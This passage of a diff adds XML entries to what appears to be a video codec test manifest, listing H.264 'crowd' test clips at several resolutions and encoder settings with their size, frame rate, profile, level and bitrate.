+    <value>mime=video/avc,size=1697007,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_temporaldirect_mp.mp4">
+    <value>mime=video/avc,size=1721164,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21499456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_tff_mp.mp4">
+    <value>mime=video/avc,size=1724566,width=1920,height=1080,frame-rate=50,profile=8,level=65536,bitrate=21541072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_vfast_mp.mp4">
+    <value>mime=video/avc,size=1537250,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=19199632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_vslow_mp.mp4">
+    <value>mime=video/avc,size=1635183,width=1920,height=1080,frame-rate=50,profile=8,level=32768,bitrate=20423768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_wtpredp1_mp.mp4">
+    <value>mime=video/avc,size=1697611,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21204120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_wtpredp2_mp.mp4">
+    <value>mime=video/avc,size=1696972,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_100kbps_mp.mp4">
+    <value>mime=video/avc,size=11550,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=128400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_10mbps_mp.mp4">
+    <value>mime=video/avc,size=1245571,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=15553648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1mbps_mp.mp4">
+    <value>mime=video/avc,size=160020,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=1984256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_20mbps_mp.mp4">
+    <value>mime=video/avc,size=2759094,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=34472696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_500kbps_mp.mp4">
+    <value>mime=video/avc,size=115608,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=1429112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_5mbps_mp.mp4">
+    <value>mime=video/avc,size=626507,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=7815344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qlty51_mp.mp4">
+    <value>mime=video/avc,size=208221,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=2586760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp47cqp12_mp.mp4">
+    <value>mime=video/avc,size=687613,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=8579160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cqp6_mp.mp4">
+    <value>mime=video/avc,size=471300,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=5875232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51_mp.mp4">
+    <value>mime=video/avc,size=474925,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=5920560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_100kbps_mp.mp4">
+    <value>mime=video/avc,size=7419,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=76872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_10mbps_mp.mp4">
+    <value>mime=video/avc,size=805138,width=640,height=360,frame-rate=50,profile=8,level=1024,bitrate=10048336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_16x16part_mp.mp4">
+    <value>mime=video/avc,size=304340,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3788360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_1mbps_mp.mp4">
+    <value>mime=video/avc,size=74849,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=919720,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_20mbps_mp.mp4">
+    <value>mime=video/avc,size=1632338,width=640,height=360,frame-rate=50,profile=8,level=4096,bitrate=20388360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_500kbps_mp.mp4">
+    <value>mime=video/avc,size=36027,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=434448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_5mbps_mp.mp4">
+    <value>mime=video/avc,size=397368,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=4951208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_allpart_mp.mp4">
+    <value>mime=video/avc,size=276601,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3441648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_alpha6beta6_mp.mp4">
+    <value>mime=video/avc,size=296629,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3692000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_alpha6betam6_mp.mp4">
+    <value>mime=video/avc,size=282424,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3514400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_alpham6beta6_mp.mp4">
+    <value>mime=video/avc,size=282490,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3515224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_alpham6betam6_mp.mp4">
+    <value>mime=video/avc,size=281207,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3499184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_aud_mp.mp4">
+    <value>mime=video/avc,size=281583,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3503880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_bff_mp.mp4">
+    <value>mime=video/avc,size=284724,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3543248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_bfrm0_mp.mp4">
+    <value>mime=video/avc,size=337899,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=4211480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_bfrm1_mp.mp4">
+    <value>mime=video/avc,size=291821,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3631680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_bfrm2_mp.mp4">
+    <value>mime=video/avc,size=278839,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3470424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_bfrm3bpyrmd_mp.mp4">
+    <value>mime=video/avc,size=273820,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3406760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_bfrm7opengop_mp.mp4">
+    <value>mime=video/avc,size=277776,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3457608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_cnstintra_mp.mp4">
+    <value>mime=video/avc,size=281641,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3504608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_direct_mp.mp4">
+    <value>mime=video/avc,size=279070,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3473280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_fakeinterlaced_mp.mp4">
+    <value>mime=video/avc,size=276630,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3441968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_faster_mp.mp4">
+    <value>mime=video/avc,size=270716,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3368072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_fast_mp.mp4">
+    <value>mime=video/avc,size=275991,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3434000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_intra16_mp.mp4">
+    <value>mime=video/avc,size=384281,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=4790536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_intra1_mp.mp4">
+    <value>mime=video/avc,size=575979,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=7187800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_intra2_mp.mp4">
+    <value>mime=video/avc,size=726228,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=9064848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_intra300_mp.mp4">
+    <value>mime=video/avc,size=338150,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=4214632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_medium_mp.mp4">
+    <value>mime=video/avc,size=281576,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3503808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_mpcavlc_mp.mp4">
+    <value>mime=video/avc,size=308767,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3843696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_mpcavlcno8x8noB_mp.mp4">
+    <value>mime=video/avc,size=363170,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=4527456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_nodblk_mp.mp4">
+    <value>mime=video/avc,size=282012,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3509272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_nodirect_mp.mp4">
+    <value>mime=video/avc,size=285434,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3552848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_nowtpredb_mp.mp4">
+    <value>mime=video/avc,size=288063,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3584880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_nowtpredp_mp.mp4">
+    <value>mime=video/avc,size=280882,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3495144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_placebo_mp.mp4">
+    <value>mime=video/avc,size=272438,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3389544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_qlty16_mp.mp4">
+    <value>mime=video/avc,size=728091,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=9085232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_qlty51_mp.mp4">
+    <value>mime=video/avc,size=6912,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=70496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_qp16_mp.mp4">
+    <value>mime=video/avc,size=1886842,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=23569720,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_qp47cqp12_mp.mp4">
+    <value>mime=video/avc,size=30222,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=361984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cqp6_mp.mp4">
+    <value>mime=video/avc,size=17724,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=205736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51_mp.mp4">
+    <value>mime=video/avc,size=17887,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=207784,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_ref16_mp.mp4">
+    <value>mime=video/avc,size=280343,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3488384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_ref1_mp.mp4">
+    <value>mime=video/avc,size=281711,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3505496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_ref4_mp.mp4">
+    <value>mime=video/avc,size=282289,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3512712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_sfast_mp.mp4">
+    <value>mime=video/avc,size=277516,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3452968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_slower_mp.mp4">
+    <value>mime=video/avc,size=281146,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3498424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_slow_mp.mp4">
+    <value>mime=video/avc,size=283742,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3530880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_spatialdirect_mp.mp4">
+    <value>mime=video/avc,size=278862,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3470680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_spsppsid1_mp.mp4">
+    <value>mime=video/avc,size=281548,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3503480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_spsppsid31_mp.mp4">
+    <value>mime=video/avc,size=281583,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3503880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_temporaldirect_mp.mp4">
+    <value>mime=video/avc,size=278468,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3465768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_tff_mp.mp4">
+    <value>mime=video/avc,size=285704,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3555496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_ufast_mp.mp4">
+    <value>mime=video/avc,size=721684,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=9008920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_vfast_mp.mp4">
+    <value>mime=video/avc,size=261816,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3256824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_vslow_mp.mp4">
+    <value>mime=video/avc,size=271458,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3377296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_wtpredp1_mp.mp4">
+    <value>mime=video/avc,size=280912,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3495496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_640x360p50f32/crowd_640x360p50f32_wtpredp2_mp.mp4">
+    <value>mime=video/avc,size=281548,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=3503480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_100kbps_mp.mp4">
+    <value>mime=video/avc,size=9142,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=98408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_10mbps_mp.mp4">
+    <value>mime=video/avc,size=857407,width=854,height=480,frame-rate=50,profile=8,level=1024,bitrate=10701696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_16x16part_mp.mp4">
+    <value>mime=video/avc,size=493461,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6152368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_1mbps_mp.mp4">
+    <value>mime=video/avc,size=77852,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=957256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_20mbps_mp.mp4">
+    <value>mime=video/avc,size=1740028,width=854,height=480,frame-rate=50,profile=8,level=4096,bitrate=21734480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_500kbps_mp.mp4">
+    <value>mime=video/avc,size=37258,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=449832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_5mbps_mp.mp4">
+    <value>mime=video/avc,size=422728,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5268208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_allpart_mp.mp4">
+    <value>mime=video/avc,size=453636,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5654584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_alpha6beta6_mp.mp4">
+    <value>mime=video/avc,size=477306,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5950456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_alpha6betam6_mp.mp4">
+    <value>mime=video/avc,size=460011,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5734232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_alpham6beta6_mp.mp4">
+    <value>mime=video/avc,size=460369,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5738712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_alpham6betam6_mp.mp4">
+    <value>mime=video/avc,size=460223,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5736880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_aud_mp.mp4">
+    <value>mime=video/avc,size=460090,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5735224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_bff_mp.mp4">
+    <value>mime=video/avc,size=469856,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5857296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_bfrm0_mp.mp4">
+    <value>mime=video/avc,size=558460,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6968496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_bfrm1_mp.mp4">
+    <value>mime=video/avc,size=487465,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6077232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_bfrm2_mp.mp4">
+    <value>mime=video/avc,size=466950,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5821808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_bfrm3bpyrmd_mp.mp4">
+    <value>mime=video/avc,size=457668,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5704856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_bfrm7opengop_mp.mp4">
+    <value>mime=video/avc,size=460096,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5736608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_cnstintra_mp.mp4">
+    <value>mime=video/avc,size=459506,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5727920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_direct_mp.mp4">
+    <value>mime=video/avc,size=467646,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5830480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_fakeinterlaced_mp.mp4">
+    <value>mime=video/avc,size=460093,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5735256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_faster_mp.mp4">
+    <value>mime=video/avc,size=443922,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5533144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_fast_mp.mp4">
+    <value>mime=video/avc,size=449036,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5597056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_intra16_mp.mp4">
+    <value>mime=video/avc,size=628294,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=7840696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_intra1_mp.mp4">
+    <value>mime=video/avc,size=951237,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=11878520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_intra2_mp.mp4">
+    <value>mime=video/avc,size=1164148,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=14538848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_intra300_mp.mp4">
+    <value>mime=video/avc,size=557914,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6961680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_medium_mp.mp4">
+    <value>mime=video/avc,size=460085,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5735168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_mpcavlc_mp.mp4">
+    <value>mime=video/avc,size=502424,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6264408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_mpcavlcno8x8noB_mp.mp4">
+    <value>mime=video/avc,size=595752,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=7434736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_nodblk_mp.mp4">
+    <value>mime=video/avc,size=460452,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5739768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_nodirect_mp.mp4">
+    <value>mime=video/avc,size=478708,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5968768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_nowtpredb_mp.mp4">
+    <value>mime=video/avc,size=464596,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5791544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_nowtpredp_mp.mp4">
+    <value>mime=video/avc,size=460757,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5743584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_placebo_mp.mp4">
+    <value>mime=video/avc,size=451986,width=854,height=480,frame-rate=50,profile=8,level=2048,bitrate=5633896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_qlty16_mp.mp4">
+    <value>mime=video/avc,size=1173199,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=14649080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_qlty51_mp.mp4">
+    <value>mime=video/avc,size=10607,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=116680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_854x480p50f32/crowd_854x480p50f32_qp47cqp12_mp.mp4">
